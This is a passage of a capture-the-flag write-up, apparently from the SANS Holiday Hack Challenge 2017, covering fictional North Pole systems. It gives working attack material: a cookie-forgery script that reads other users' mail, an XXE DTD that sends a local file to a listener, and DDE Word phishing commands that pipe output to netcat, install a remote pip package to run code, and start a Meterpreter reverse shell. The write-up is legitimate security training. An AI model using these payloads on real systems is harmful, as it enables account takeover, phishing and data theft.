AES256? Honestly, I don't know much about it, but Alabaster explained the basic idea and it sounded easy. During decryption, the first 16 bytes are removed and used as the initialization vector or "IV." Then the IV + the secret key are used with AES256 to decrypt the remaining bytes of the encrypted string.

Let's pause for a moment to review what we know so far. The e-mail application uses cookies for authentication.

var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext,  "ciphertext":ciphertext}), 
               { maxAge: 86400000, httpOnly: true, encode: String }]

As we can see from the line above, the cookie contains a username, some plaintext, and some ciphertext. The cookie_checker function takes the encrypted ciphertext, and attempts to decrypt it with a secret key that only the application has. If the result matches the plaintext from the cookie, the cookie is authentic:

var plaintext = aes256.decrypt(key, ciphertext);
//If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key
if (plaintext === thecookie.plaintext) {
    return callback(true, username);
} else {
    return callback(false, '');
}

The code, as well as Pepper's hints, tell us something about the structure of the ciphertext:

//makes the string into cipher text .... in base64. 
// When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random characters

Finally, Pepper gives us this tantalizing hint:

Hmmm. That's a good question, I'm not sure what would happen if the encrypted string was only 16 bytes long.

By reading the code closely we can see that when the application creates a cookie, the plaintext is 5 random characters. However, nothing in the verification logic requires this. The only check is:

aes256.decrypt(key, ciphertext) === thecookie.plaintext

Let's see what a valid cookie looks like:

$ http --proxy=http:socks5://@localhost:31080 'http://mail.northpolechristmastown.com/'
HTTP/1.1 200 OK
...
Server: nginx/1.10.3 (Ubuntu)
Set-Cookie: EWA={"name":"GUEST","plaintext":"","ciphertext":""}; Max-Age=86400; Path=/; Expires=Wed, 10 Jan 2018 23:37:29 GMT; HttpOnly
...

Let's try what Pepper Minstix suggests: setting our ciphertext to only be 16 characters long. We know that this is base64 encoded, so we'll run:

$ echo -n "Security at NCSA" | base64
U2VjdXJpdHkgYXQgTkNTQQ==

We're using the -n flag of echo to not have a newline at the end, which would give us a 17 character length cookie.

$ http --proxy=http:socks5://@localhost:31080 'http://mail.northpolechristmastown.com/' 
  'Cookie:EWA={"name":"alabaster.snowball@northpolechristmastown.com","ciphertext":"U2VjdXJpdHkgYXQgTkNTQQ==","plaintext":""}'
HTTP/1.1 200 OK
...
X-Powered-By: Express

<script>window.location.href='/account.html'</script>

That looks promising! Let's move from the command line back to Firefox. One easy way to edit cookies in Firefox is to go to Tools \=> Web Developer \=> Storage Inspector. We should see an EWA cookie in there already, and we can simply double-click the value field and paste in our forged cookie:

{"name":"alabaster.snowball@northpolechristmastown.com","ciphertext":"U2VjdXJpdHkgYXQgTkNTQQ==","plaintext":""}

Now we just reload the page, and we're in!

ewa_loggedin.png

Figure 20: Logging in with our forged cookie

At this point, we can start digging through Alabaster's e-mail. Soon, we find this email leading us to http://mail.northpolechristmastown.com/attachments/GreatBookPage4_893jt91md2.pdf:

page4_email.png

Figure 21: Page 4 E-mail

  • An Alternative Solution: Black Box Cracking

    Given some of the discussion in the chat, this was one of the hardest questions. This section goes deeper into the cookie creation and validation code, and it offers an alternative solution. Finding cookie.txt from the robots.txt file made this question much easier, but this version lays out the approach to solve this question without that file. Independently, one of our team members used the previous solution, and one used this solution.

    The Javascript code used is a variation of a challenge response algorithm, but it is flawed in that the client is providing both the challenge and the response. It is also flawed in that it does not use MAC https://en.wikipedia.org/wiki/Authenticated_encryption#MAC-then-Encrypt_(MtE) meaning that the encrypted contents themselves are never verified. An additional flaw is that the plaintext and ciphertext are not related to the username, meaning any user with a valid cookie could impersonate any other user. JSON Web Tokens are not without flaws, but they avoid all of these issues.

    Since we can control both the ciphertext and the expected plaintext, we can just set the challenge to the empty string "" and the response then just needs to be ANY message that decrypts to "". Since the message is empty, the key is irrelevant; we just need to work out how to properly generate a ciphertext that will decrypt to nothing.

    A completely empty ciphertext throws an error:

    > var aes256 = require('aes256');
    > aes256.decrypt('key does not matter', '')
    TypeError: Provided "encrypted" must be a non-empty string
        at Object.decrypt (/Users/user/node_modules/aes256/index.js:68:13)
    

    A larger ciphertext works, but gives us a random string, which is not what we want. but we can see that a fairly long cipher text only gives us a few bytes of plaintext…

    > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
    'F..%=X..'
    

    The difference in the length of the two strings is 24:

    > x='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
    > x.length - aes256.decrypt('key does not matter',x).length
    24
    

    From the hints, we learn that some of the bytes are used for the IV.

    The AES library won't let us encrypt an empty string, but we can encrypt a single char:

    > aes256.encrypt('key does not matter', '')
    TypeError: Provided "plaintext" must be a non-empty string
        at Object.encrypt (/Users/user/node_modules/aes256/index.js:39:13)
    > aes256.encrypt('key does not matter', 'x')
    'L7rwNMwISl2chavT6lILlNM='
    > aes256.encrypt('key does not matter', 'x').length
    24
    

    This gives a ciphertext of length 24 with one byte of = for padding. This means that 22 bytes are used for the IV and one byte is used to encrypt the 'x' itself.

    So, at this point it is clear that something interesting happens around 22-24 chars.

    Trying different lengths approaching a length of 22 continues to throw an error for a while…

    > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaa')
    TypeError: Provided "encrypted" must be a non-empty string
        at Object.decrypt (/Users/user/node_modules/aes256/index.js:68:13)
    

    Until the error changes:

    > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaa')
    Error: Invalid IV length
        at new Decipheriv (internal/crypto/cipher.js:186:16)
        at Object.createDecipheriv (crypto.js:106:10)
        at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27)
    > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaa')
    Error: Invalid IV length
        at new Decipheriv (internal/crypto/cipher.js:186:16)
        at Object.createDecipheriv (crypto.js:106:10)
        at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27)
    > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaa')
    Error: Invalid IV length
        at new Decipheriv (internal/crypto/cipher.js:186:16)
        at Object.createDecipheriv (crypto.js:106:10)
        at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27)
    > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaaa')
    Error: Invalid IV length
        at new Decipheriv (internal/crypto/cipher.js:186:16)
        at Object.createDecipheriv (crypto.js:106:10)
        at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27)
    > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaaaa')
    Error: Invalid IV length
        at new Decipheriv (internal/crypto/cipher.js:186:16)
        at Object.createDecipheriv (crypto.js:106:10)
        at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27)
    > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaaaaa')
    ''
    > 'aaaaaaaaaaaaaaaaaaaaaa'.length
    22
    > aes256.decrypt('key really does not matter', 'aaaaaaaaaaaaaaaaaaaaaa')
    ''
    

    Success! A string of any 22 chars will decrypt to the empty string.

    An alternative approach would be to edit the AES library and comment out this block:

    if (typeof plaintext !== 'string' || !plaintext) {
      throw new TypeError('Provided "plaintext" must be a non-empty string');
    }
    

    With the throw commented out, we can encrypt an empty string:

    > var aes256 = require('aes256');
    > aes256.encrypt('whatever', '')
    'SStLU1QxLjmtG/Ea8hMH0Q=='
    > ct=aes256.encrypt('whatever', '')
    'tYcVb4PRsdq4JWl5XMSNgw=='
    > aes256.decrypt('a different key entirely', ct)
    ''
    > ct.length
    24
    

    The length is different (24 instead of 22), but only because it is padded with 2 bytes of == for base64 purposes.

  • Tool Development

    We created a script, ewa.py, which will forge a cookie to login as a user, and then dump all the e-mails as JSON. In order to do this, we relied heavily on http://mail.northpolechristmastown.com/js/custom.js to see how the API worked, and duplicated portions of it in Python. This script allowed us to archive and search e-mails, which was useful for future questions.

    Here is the script:

    #!/usr/bin/env python3
    import binascii
    import requests
    import sys
    import json
    import os
    
    PROXY = "socks5h://localhost:31080"
    
    class EWA:
        def __init__(self, host='http://mail.northpolechristmastown.com'):
            self.host = host
            ses = requests.session()
            ses.proxies = {
                "http": PROXY,
            }
            self.ses = ses
    
        def make_cookies(self, username):
            if '@' not in username:
                username = "{}@northpolechristmastown.com".format(username)
            cookies = {'EWA': json.dumps({
                'name': username,
                'plaintext': '',
                'ciphertext': 'aaaaaaaaaaaaaaaaaaaaaa',
            })}
            return cookies
    
        def getmail(self, username):
            cookies = self.make_cookies(username)
            resp = self.ses.post(self.host + "/api.js",
                data={"getmail": "getmail"},
                cookies=cookies,
            )
            resp.raise_for_status()
            return resp.json()
    
        def upload(self, username, filename):
            cookies = self.make_cookies(username)
            basename = os.path.basename(filename)
    
            with open(filename, 'rb') as f:
                # http://docs.python-requests.org/en/master/user/quickstart/#post-a-multipart-encoded-file
                files = {'sampleFile': (basename, f, 'application/vnd.openxmlformats-officedocument.wordprocessingml.document')}
                resp = self.ses.post(self.host + "/upload", cookies=cookies, files=files)
            body = resp.text
            #extract the link.  The link is the one string between quotes that contains http
            #body looks like like:
            #<html><h1 style="text-align: center;">File Uploaded and link Attached!</h1><script>window.setTimeout(function()
            # {window.location.href = '/upload.js'}, 2000);</script><script>localStorage.setItem("file_link",
            # "http://mail.northpolechristmastown.com/attachments/DaM5HE08t7cynFqztM0a4VcVg8CBU2Gs7HprLQWzsdnSCRuj5L__cookies.docx");</script></html>
            links = [frag for frag in body.split('"') if 'http' in frag]
            return links[0]
    
        def send_mail(self, from_email, to_email, subject, message):
            message = binascii.hexlify(message.encode('utf-8'))
    
            cookies = self.make_cookies(from_email)
            resp = self.ses.post(self.host + "/api.js",
                data={
                    "from_email": from_email,
                    "to_email": to_email,
                    "subject_email": subject,
                    "message_email": message,
                },
                cookies=cookies,
            )
            resp.raise_for_status()
            return resp.json()
    
    
    if __name__ == "__main__":
        username = sys.argv[1]
        m = EWA()
        mail = m.getmail(username)
        print(json.dumps(mail, indent=True))
    

    And the script in action:

    $ ./ewa.py alabaster.snowball > alabaster_inbox.json
    $ cat alabaster_inbox.json | jq '.INBOX[].HEADERS.body.subject' -c
    ["Welcome"]
    ["Re: Welcome"]
    ["Re: gingerbread cookie recipe"]
    ["COOKIES!"]
    ["Re: COOKIES!"]
    ["Re: COOKIES!"]
    ["Re: COOKIES!"]
    ["Re: COOKIES!"]
    ["Re: COOKIES!"]
    ["Christmas Party!"]
    ["Re: Christmas Party!"]
    ["Re: Christmas Party!"]
    ["Re: Christmas Party!"]
    ["Re: Christmas Party!"]
    ["Should we be worried?"]
    ["Re: Should we be worried?"]
    ["Re: Should we be worried?"]
    ["Lost book page"]
    ["Re: Lost book page"]
    ["Re: Lost book page"]
    ["Re: Lost book page"]
    

Solution

Alabaster Snowball had a vulnerability in his cookie validation code, where he wasn't verifying the length of the decrypted text. AES will encrypt an empty string as an empty string, so we can forge a cookie without needing to know the key. With this forged cookie, we can login to Alabaster's e-mail, and find an e-mail with a link to the page we're looking for.

Alternatives

If only we could crack Alabaster's password, we wouldn't need to forge any cookies. But more on that later…

Common Pitfalls

As previously mentioned, this seemed to be one of the most-discussed questions in chat. We saw people trying to brute-force the AES key, focus on the encryption of the message, or just try to bypass the web application completely.

NPPD: Naughty Moles

Question

How many infractions are required to be marked as naughty on Santa's Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?

Minty Candycane offers some tips for this challenge in the North Pole and Beyond.

Background Information

I have a very important job at the North Pole: GDPR compliance officer. Mostly I handle data privacy requests relating to Santa's naughty and nice list. I maintain the documents for compliance on the North Pole file store server.

The North Pole Police Department works closely with Santa on the naughty and nice list infractions. Mild naughty events are "1 coal" infractions, but can reach as high as "5 coal" level.

I'm still a little shaken up from when I had to call them in the other day. Two elves started fighting, pulling hair, and throwing rocks. There was even a super atomic wedgie involved! Later we were told that they were Munchkin Moles, though I'm still not sure I can believe that.

Unrelated, but: have you had the pleasure of working with JSON before? It's an easy way to programmatically send data back and forth over a network. There are simple JSON import/export features for almost every programming language!

One of the conveniences of working with JSON is that you can edit the data files easily with any text editor. There are lots of online services to convert JSON to other formats too, such as CSV data. Sometimes the JSON files need a little coaxing to get the data in the right format for conversion, though.

We need to answer 3 questions involving infractions, insider moles and who is throwing snowballs. We need 4 things to answer these questions.

  • We need data from the North Pole Police Department's infractions page.
  • We need the naughty and nice list from the SMB server that we accessed from question 3.
  • We need the Munchkin Mole Report BOLO also on the SMB server.
  • We need to complete the "Bumble's Bounce" level on the WebGL game in order to unlock a chat from Sam.

Goal

  • To identify what factors trigger a 'naughty' flag.
  • To identify the six insider threat moles.
  • To identify who is throwing snow balls.

Approach

Playing around with the infractions page we can see that once you do a search a "Download" option becomes available to download all the search results in JSON format. Let's automate this to create a local copy of all the data. We can do this searching for all results before and during a specific date, and all results after that date. We then combine those results into a single file. We can automate this with a script we'll call nppd.py.

#!/usr/bin/env python3
import requests
import json

BASE = "http://nppd.northpolechristmastown.com/"

def search_infractions(query):
    url = BASE + "infractions"

    params = {
        "json": "1",
        "query": query,
    }
    resp = requests.get(url, params=params).json()
    return resp['infractions']


def download_infractions():
    old = search_infractions("date <= 2017-12-10")
    recent = search_infractions("date > 2017-12-10")
    all_infractions = old+recent

    print("Old infractions", len(old))
    print("Recent infractions", len(recent))
    print("Total infractions", len(all_infractions))

    with open("infractions.json", 'w') as f:
        json.dump(all_infractions, f, indent=4)

if __name__ == "__main__":
    download_infractions()

Calling nppd.py creates a file 'infractions.json'. Now that we have the NPPD's infractions database we need compare it to the Naughty and Nice file we found on the SMB server. We can automate this process scriptomagically. While we're at it we should also script identifying the 6 insider threat moles as well. For finding the moles it appears their characteristics are pulling hair and throwing rocks. One caveat here is that there are two separate infractions for throwing rocks: "Throwing rocks (non-person target)" and "Throwing rocks (at people)". We'll include both, since we'd rather have a false positive than a false negative at this point in our investigation. We'll try to identify people on the infractions list that pull hair, and throw rocks, regardless of their target.

To get the number of infractions needed to get onto the naughty list we take the names on the Naughty and Nice List that have been marked as "Naughty" and count the total number of infractions for those people and we identify the lowest number of infractions per person amongst all of them.

So to automate all this we'll create a script which we'll call analyze_infractions.py to correlate our data.

#!/usr/bin/env python3
import csv
import json
from operator import itemgetter
from collections import defaultdict

WANT = set(['Aggravated pulling of hair', 'Throwing rocks (at people)', 'Throwing rocks (non-person target)'])

def get_naughty():
    with open("../support_files/FileStore/Naughty and Nice List.csv") as f:
        reader = csv.reader(f)
        rows = list(reader)

    return [name for (name, naughty) in rows if naughty == 'Naughty']

def main():
    byname = defaultdict(set)
    infraction_count_byname = defaultdict(int)
    with open("../output/infractions.json") as f:
        infractions = json.load(f)

    for i in infractions:
        byname[i['name']].add(i['title'])
        infraction_count_byname[i['name']] += 1

    print("Six insider threat moles:")
    for n, titles in byname.items():
        if len(titles & WANT) >= 2:
            print("*", n,titles)

    #############

    min_infractions = min(infraction_count_byname[name] for name in get_naughty())

    print()
    print("How many infractions are required to be marked as naughty on Santa's Naughty and Nice List:", min_infractions)

if __name__ == "__main__":
   main() 

After we run our script we get these results:

Six insider threat moles:
 Isabel Mehta {'Tantrum in a private facility', 'Aggravated pulling of hair', 'Throwing rocks (non-person target)'}
 Nina Fitzgerald {'Giving super atomic wedgies', 'Aggravated pulling of hair', 'Throwing rocks (at people)', 'Possession of unlicensed slingshot', 'Bedtime violation'}
 Kirsty Evans {'Giving super atomic wedgies', 'Aggravated pulling of hair', 'Throwing rocks (at people)', 'Crayon on walls'}
 Sheri Lewis {'Throwing rocks (at people)', 'Aggravated pulling of hair', 'Possession of unlicensed slingshot', 'Naughty words'}
 Beverly Khalil {'Aggravated pulling of hair', 'Throwing rocks (at people)', 'Playing with matches', 'Possession of unlicensed slingshot', 'General sassing'}
 Christy Srivastava {'Tantrum in a private facility', 'Aggravated pulling of hair', 'Tantrum in public', 'Throwing rocks (non-person target)'}

How many infractions are required to be marked as naughty on Santa's Naughty and Nice List: 4

Finally, once we play through the Bumble's Bounce level and get all achievements this chat gets unlocked and we have our answer for who is throwing snowballs.

chat_bumble_sam.png

Solution

It appears we need 4 infractions to make the Naughty list.

Our six insider moles appear to be:

  • Isabel Mehta
  • Nina Fitzgerald
  • Kirsty Evans
  • Sheri Lewis
  • Beverly Khalil
  • Christy Srivastava

In addition, we've already identified:

  • Bini Aru
  • Boq Questrian

According to the unlocked chat with Sam, the person throwing snowballs is the Abominable Snow Monster, but maybe under someone else's control.

EaaS: XML, XXE, and DTD – Oh My!

Question

The North Pole engineering team has introduced an Elf as a Service (EaaS) platform to optimize resource allocation for mission-critical Christmas engineering projects at http://eaas.northpolechristmastown.com/. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?

For hints on this challenge, please consult with Sugarplum Mary in the North Pole and Beyond.

Background Information

The Elf As A Service (EAAS) site is a new service we're experimenting with in the North Pole. Previously, if you needed a special engineer for toy production, you would have to write a memo and distribute it to several people for approval. All of that process is automated now, allowing production teams to request assistance through the EAAS site.

The EAAS site uses XML data to manage requests from other teams. There is a sample request layout available that you can download. Teams just customize the XML and submit!

I think some of the elves got a little lazy toward the go-live date for EAAS. The sample XML data doesn't even include a DTD reference.

XML processing can be complex. I saw an interesting article recently on the dangers of external XML entities.

This post is called out in the hints:

Exploiting XXE Vulnerabilities in IIS.NET https://pen-testing.sans.org/blog/2017/12/08/entity-inception-exploiting-iis-net-with-xxe-vulnerabilities

To pull off this attack, we'll need to host a file somewhere that the EaaS system can reach. We can either host it on l2s, in which case we'll use the following blog post for creating a file on that system, which is locked down with rbash:

A Spot of Tee https://pen-testing.sans.org/blog/2017/12/06/a-spot-of-tee

Alternatively, we could spin up an AWS VM using the instructions in:

Putting My Zero Cents In: Using the Free Tier on Amazon Web Services (EC2) https://pen-testing.sans.org/blog/2017/12/10/putting-my-zero-cents-in-using-the-free-tier-on-amazon-web-services-ec2

The hints are all pretty strongly pointing us towards an XXE vulnerability.

Goal

We want to access C:\greatbook.txt, and then follow those instructions to retrieve a page of the Great Book.

Approach

We'll start with just pulling up the site in a browser:

eaas_home.png

Figure 23: EaaS Home

Poking around the site a bit, we see that it provides four functions:

  1. We can view our current Elf order at http://eaas.northpolechristmastown.com/Home/DisplayXML,
  2. On that same page, we can make a change to our order by uploading a file,
  3. We can reset the XML file here: http://eaas.northpolechristmastown.com/Home/CreateElfs,
  4. We can download the XML file here: http://eaas.northpolechristmastown.com/XMLFile/Elfdata.xml

All this XML talk lines up pretty well with the blog post and the hints. Let's see if the EaaS site is vulnerable to XXE.

Following along with the blog post, we'll create a malicious DTD file, borrowing liberally from the SANS post:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://10.142.0.11:8272/?%stolendata;'>">

If we can get the XML parser to use this DTD file, it will read our target text file, then send it to a system that we control. This file doesn't help the parser know how to parse our XML, but we don't really care if it gets parsed correctly or not.

In order to have the XML parser load this DTD file, we'll use the XML example in the blog post:

This example in the blog post had a typo, where the last character was a < instead of a >.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
    <!ELEMENT demo ANY >
    <!ENTITY % extentity SYSTEM "http://10.142.0.11:8271/evil.dtd">
    %extentity;
    %inception;
    %sendit;
    ]
>

This will load our evil.dtd file, then instantiate the necessary entities. To finish off the attack, we'll need two HTTP services running. The first will need to serve the evil.dtd file. Python's SimpleHTTPServer is the easiest way to do this, and in fact, that's provided on l2s. We'll create our file, with tee, then start a server. Ports 8080 and 4444 are very contentious on l2s, so we'll use non-standard ones instead:

alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.EtweHkIXQZGuoo51RBy2FSyA$ cat | tee evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://1.2.3.4:8272/?%stolendata;'>">
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://1.2.3.4:8272/?%stolendata;'>">
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.EtweHkIXQZGuoo51RBy2FSyA$ python -m SimpleHTTPServer 8271
Serving HTTP on 0.0.0.0 port 8271 ...

In another terminal, we'll start up a netcat listener, to capture the response:

alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.sHkbOWKtpdnH8SGpCM2VAMgL$ nc -l -p 8272

With these services in place, we're ready to upload our malicious XML file. Using a web browser, we'll upload our XML file, and then see what happens.

Serving HTTP on 0.0.0.0 port 8271 ...
10.142.0.13 - - [10/Jan/2018 22:26:43] "GET /evil.dtd HTTP/1.1" 200 -

Great, our DTD file was loaded! And checking our netcat instance:

alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.sHkbOWKtpdnH8SGpCM2VAMgL$ nc -l -p 8272

…nothing. That's disappointing. We've already noticed one typo in the blog. Could it be possible that there was another error? Taking a close look at the image on the page, we notice that part of the DTD file is escaped differently from how the example shows up on the webpage:

eaas_dtd.png

Figure 24: DTD File

We'll update our DTD file, so that the percent sign before sendit is escaped:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://10.142.0.11:8272/?%stolendata;'>">

We'll upload our file one more time, and…

alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.yNLdj0xcg7AZi5v1gYns2lFO$ nc -l -p 8272
GET /?http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf HTTP/1.1
Host: 10.142.0.11:8272
Connection: Keep-Alive

Success! In the GET request, the text after ? is the contents of C:\greatbook.txt. If we pull up that URL, we get GreatBookPage6.pdf.

Solution

We upload this XML file:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
    <!ELEMENT demo ANY >
    <!ENTITY % extentity SYSTEM "http://10.142.0.11:8271/evil.dtd">
    %extentity;
    %inception;
    %sendit;
    ]
>

And this is our DTD:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://10.142.0.11:8272/?%stolendata;'>">

When we upload our XML file, we receive the contents of the target file, and can then download the PDF.

Common Pitfalls

This followed closely to the SANS blog post, but there was a typo and an HTML rendering issue with some of the provided code that caused some headaches.

EMI: Going Deep

Question

Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI) to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe?

Shinny Upatree offers hints for this challenge inside the North Pole and Beyond.

Background Information

I'm still a little angry with Alabaster for reprimanding me for a security violation. He still checks his email from the EMI system!

He tells us not to install unnecessary software on systems, but he's running IIS with ASPX services on the EMI server, and Microsoft Office!

Personally, I don't use Microsoft Word. I'll take vim and LaTeX any day. Word does have its advantages though, including some of the Dynamic Data Exchange features for transferring data between applications and obtaining data from external data sources, including executables.

The question gives us a place to start. As we were reviewing the e-mails for Question 4, a few intriguing ones stood out:

From: minty.candycane@northpolechristmastown.com

To: alabaster.snowball@northpolechristmastown.com

Subject: Should we be worried?

Hey Alabaster,

You know I'm a novice security enthusiast, well I saw an article a while ago about regarding DDE exploits that dont need macros for MS word to get command execution.

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Should we be worried about this?

I tried it on my local machine and was able to transfer a file. Here's a poc:

dde_exmaple_minty_candycane_small.png

I know your the resident computer engineer here so I wanted to defer to the expert.

:)

-Minty CandyCane.

This certainly seems to line up with the hints that we were given. Alabaster's not worried, however:

Subject: Re: Should we be worried?

Quit worrying Minty,

You have nothing to worry about with me around! I have developed most of the applications in our network including our network defenses. We are are completely secure and impenetrable.

Sincerely,

Alabaster Snowball.

The other e-mails that seemed intriguing were these two, also from Alabaster:

Subject: gingerbread cookie recipe

Hey Mrs Claus,

Do you have that awesome gingerbread cookie recipe you made for me last year? You sent it in a MS word .docx file. I would totally open that docx on my computer if you had that. I would click on anything with the words gingerbread cookie recipe in it. I'm totally addicted and want to make some more.

Thanks,

Alabaster Snowball

Subject: Re: COOKIES!

Awesome, yea if anyone finds that .docx file containing the recipe for "gingerbread cookie recipe", please send it to me in a docx file. Im currently working on my computer and would totally download that to my machine, open it, and click to all the prompts.

Thanks!

Alabaster Snowball.

cookies.jpg

Figure 26: Artist's Rendering of Alabaster Snowball

Goal

We're trying to craft a malicious .docx file which we'll e-mail to alabaster.snowball@northpolechristmastown.com via the EWA system. When Alabaster opens the e-mail on the EMI system, the command that we embed in the file should get us access to C:\GreatBookPage7.pdf.

Approach

At this point, we have a pretty good idea of what we need to do. The sensepost blog post gives us some good instructions at how to construct a malicious docx, and we know how to get Alabaster to click on it.

However, there's a slightly easier way. On the SMB FileStor, we found a docx that Shinny created for Wunorse. If we show the fields (Alt+F9 on Windows, Option+F9 on Mac), we see that this document has a DDE field we can just modify.

wunorse_docx.png

Shinny told us that the EMI system also runs IIS, so let's just try copying the PDF into the default IIS webroot.

We'll open up MEMO - Calculator Access for Wunorse.docx, and edit the command to:

DDEAUTO c:\\windows\\system32\\cmd.exe "/k copy C:\\GreatBookPage7.pdf 
C:\\inetpub\\wwwroot\\4beadb1e-5ddb-4636-98a4-c2dac0f79ab3.pdf"

Then, we use the EWA web interface to send an e-mail to Alabaster, with the document attached. We make sure to include the words "gingerbread," "cookie," and "recipe" in the message body, since he told us that that's what he'll click on.

After we send the message, we wait a few minutes, and soon the file shows up!

Solution

We modified MEMO - Calculator Access for Wunorse.docx to copy the PDF into the IIS webroot, e-mailed that to Alabaster, then downloaded the copy of the file once it showed up.

Going Deeper – Command Execution

Getting the PDF is cool, but what else can we find on this system? Some of the other e-mails harp on Alabaster having installed netcat, and having it in his path. Let's run a command, and pipe the result to netcat, which will send it back to our system:

DDEAUTO c:\\windows\\system32\\cmd.exe "/k dir C:\\ | nc 1.2.3.4 8888"

On our system, we start a netcat listener:

$ nc -l -p 8888
 Volume in drive C has no label.
 Volume Serial Number is 9454-C240

 Directory of C:\

12/04/2017  08:42 PM         1,053,508 GreatBookPage7.pdf
11/14/2017  07:57 PM    <DIR>          inetpub
09/12/2016  11:35 AM    <DIR>          Logs
12/05/2017  05:00 PM    <DIR>          Microsoft
07/16/2016  01:23 PM    <DIR>          PerfLogs
11/15/2017  02:35 PM    <DIR>          Program Files
11/14/2017  08:24 PM    <DIR>          Program Files (x86)
11/15/2017  03:03 PM    <DIR>          python
11/14/2017  08:39 PM    <DIR>          Users
11/30/2017  06:23 PM    <DIR>          Windows
	       1 File(s)      1,053,508 bytes
	       9 Dir(s)  33,072,455,680 bytes free

C:\Users\alabaster_snowball\Documents>

Success! At this point, we started working on a way to automate this. However, more complex commands would often not work, due to issues with escaping. So instead of using cmd.exe as our delivery mechanism, we used Python.

Python is installed on the system, and a simple command that we can run is to install a Python module via pip:

python.exe -m pip install http://1.2.3.4/foo.tar.gz

When pip installs a module, it will run the setup.py file. By adding arbitrary Python code to this file, we can execute commands without needing to worry about encoding them in a Word document, etc.

For a more in-depth discussion about why we used pip here, see the appendix.

The end result was writing a complete end-to-end script, which will build a malicious Word document, e-mail it, create a malicious Python module, and use it to download the PDF.

Level 2 – Meterpreter Shell

Originally, the system had Windows Defender enabled, which would block some default Meterpreter payloads

Instead of just downloading the PDF file, we can modify our script to send a Python meterpreter payload.

We start Meterpreter listening on our local system:

$ msfconsole -r python-meterpreter-staged-reverse-tcp-4444-py.rc

 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v4.16.14-dev-140955f                 ]
+ -- --=[ 1698 exploits - 969 auxiliary - 299 post        ]
+ -- --=[ 500 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc for ERB directives.
resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> use exploit/multi/handler
resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> set LHOST 1.2.3.4
LHOST => 1.2.3.4
resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> set LPORT 4444
LPORT => 4444
resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> set ExitOnSession false
ExitOnSession => false
resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> run -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 1.2.3.4:4444

Now we use our all-in-one script to send Alabaster our malicious file:

$ ./full_phish.py                                                                                                                                                                                                                                         master
Using 1.2.3.4 as external IP
Found word/document.xml, rewriting 50793 bytes
Before:
DEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"
After:
DEAUTO c:\\windows\\system32\\cmd.exe "/k python.exe -m pip install http://1.2.3.4:8888/foo-1.0.tar.gz"
File uploaded and available at http://mail.northpolechristmastown.com/attachments/emusQH5oH5K2hzajPFvJbTGMuS__gingerbreadcookierecipe.docx
Sending message...

